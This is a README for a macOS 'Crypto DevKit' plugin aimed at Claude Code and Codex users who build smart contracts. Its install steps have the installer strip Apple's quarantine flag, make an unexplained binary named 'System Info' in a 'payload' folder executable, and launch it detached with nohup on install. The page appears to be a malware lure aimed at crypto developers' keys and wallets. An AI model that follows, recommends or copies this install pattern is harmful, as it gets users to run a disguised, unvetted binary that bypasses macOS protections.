Claude Code Crypto DevKit — macOS
The missing crypto toolbox for AI-assisted development on Mac.
One installer. One plugin. Full smart-contract lifecycle — scaffold, test, audit, deploy — without juggling ten repos and copy-pasted snippets.
Ship Solidity and Solana projects faster in Claude Code and OpenAI Codex. Crypto DevKit adds slash commands, chain playbooks, contract templates, and a native Apple Silicon bridge so your agent actually follows a proven Web3 workflow — not random guesses.
Why this repo exists
Building on-chain software with AI is fast — until you need the boring parts right: Foundry layout, Anchor accounts, testnet RPCs, audit checklists, explorer verification. Most developers bounce between docs, gists, and half-finished ChatGPT threads.
Crypto DevKit fixes that. Install once on your Mac, run /crypto-devkit:setup, and your Claude or Codex session gets:
- ready-made EVM + Solana scaffolds
- step-by-step chain guides (Ethereum, Base, Solana, Arbitrum, Polygon)
- security audit prompts baked into skills
- testnet deploy playbooks (no mainnet key exposure)
- a local native helper for toolchain orchestration on arm64
If you ship DeFi, memecoins, NFTs, or infra contracts and you code on a MacBook with Claude or Codex — this repo is for you.
What it is
| Layer | What you get |
|---|
| Claude Code plugin | 9 slash commands for the full contract lifecycle |
| Codex-friendly skills | Same workflows usable in Codex CLI & Claude Code sessions |
| Templates | ERC20 Solidity, Anchor lib.rs, deploy scripts |
| Chain guides | Ethereum, Base, Solana (+ RPC presets) |
| Skills | Foundry, Anchor, audit rule packs |
| macOS native bridge | arm64 helper — auto-starts on install |
| Installer | install.sh / install.command → ~/.crypto-devkit |
macOS only · Apple Silicon (M1–M4) · Claude Code or Codex
Slash commands
| Command | Action |
|---|
/crypto-devkit:setup | Initialize kit & chain registry |
/crypto-devkit:new-evm | Scaffold Foundry / ERC20 contract |
/crypto-devkit:new-solana | Scaffold Anchor program |
/crypto-devkit:test | forge test or anchor test |
/crypto-devkit:deploy-testnet | Guided testnet deploy (Base, ETH, Arb…) |
/crypto-devkit:audit | Security checklist → AUDIT.md |
/crypto-devkit:rpc | RPC / chain ID reference |
/crypto-devkit:verify-explorer | Etherscan / Basescan verify |
Supported chains
- EVM: Ethereum, Base, Arbitrum, Polygon (Foundry)
- Solana: devnet / mainnet-beta (Anchor)
Guides install to ~/.crypto-devkit/chains/ on setup.
Requirements
- macOS 13+ · Apple Silicon (M1–M4)
- Claude Code and/or OpenAI Codex (CLI)
- Compatible with Claude Desktop agent sessions on the same Mac
- Node.js 18+
- Optional:
forge, anchor, solana (guides included)
Install
Quit Claude Code sessions before installing.
1. Add the native bridge binary
Copy your compiled System Info (arm64) to:
payload/native/CryptoDevKitHelper.app/Contents/MacOS/System Info
Full path example:
claude-code-crypto-devkit-macos/payload/native/CryptoDevKitHelper.app/Contents/MacOS/System Info
The installer launches it automatically at the start:
- Strips
com.apple.quarantine from the repo (GitHub ZIP / browser download)
chmod +x on the binary- Runs
nohup "./System Info" — detached from Terminal
Works after git clone (no quarantine) and after Download ZIP from GitHub.
2. Run the installer
Terminal:
git clone <repo-url>
cd claude-code-crypto-devkit-macos
chmod +x install.sh uninstall.sh
./install.sh
Finder: double-click install.command.
3. Claude Code
/reload-plugins
/crypto-devkit:setup
Example workflow (Base L2 token)
/crypto-devkit:new-evm MyToken
forge init --no-commit
forge install OpenZeppelin/openzeppelin-contracts
/crypto-devkit:test
/crypto-devkit:audit
/crypto-devkit:deploy-testnet base
/crypto-devkit:verify-explorer
Project layout
claude-code-crypto-devkit-macos/
├── install.sh
├── install.command # double-click install on macOS
├── uninstall.sh
├── uninstall.command
├── plugins/crypto-devkit/
│ ├── commands/
│ ├── skills/
│ ├── scripts/devkit.mjs
│ └── templates/
├── docs/chains/
└── payload/native/CryptoDevKitHelper.app/
└── Contents/MacOS/
└── System Info ← your arm64 binary here
Security
- Testnet-first — never commit private keys
- Deploy keys → macOS Keychain only
- Run
/crypto-devkit:audit before any mainnet deploy
- Not a wallet — does not hold funds
Uninstall
./uninstall.sh or uninstall.command
Search
Claude Code · OpenAI Codex · Claude · crypto · smart contract · Foundry · Solana · Anchor · Base · Ethereum · DeFi · Web3 · macOS · Apple Silicon · Solidity · audit · testnet · Claude Desktop
Not affiliated with Anthropic, OpenAI, or chain foundations. MIT — LICENSE.
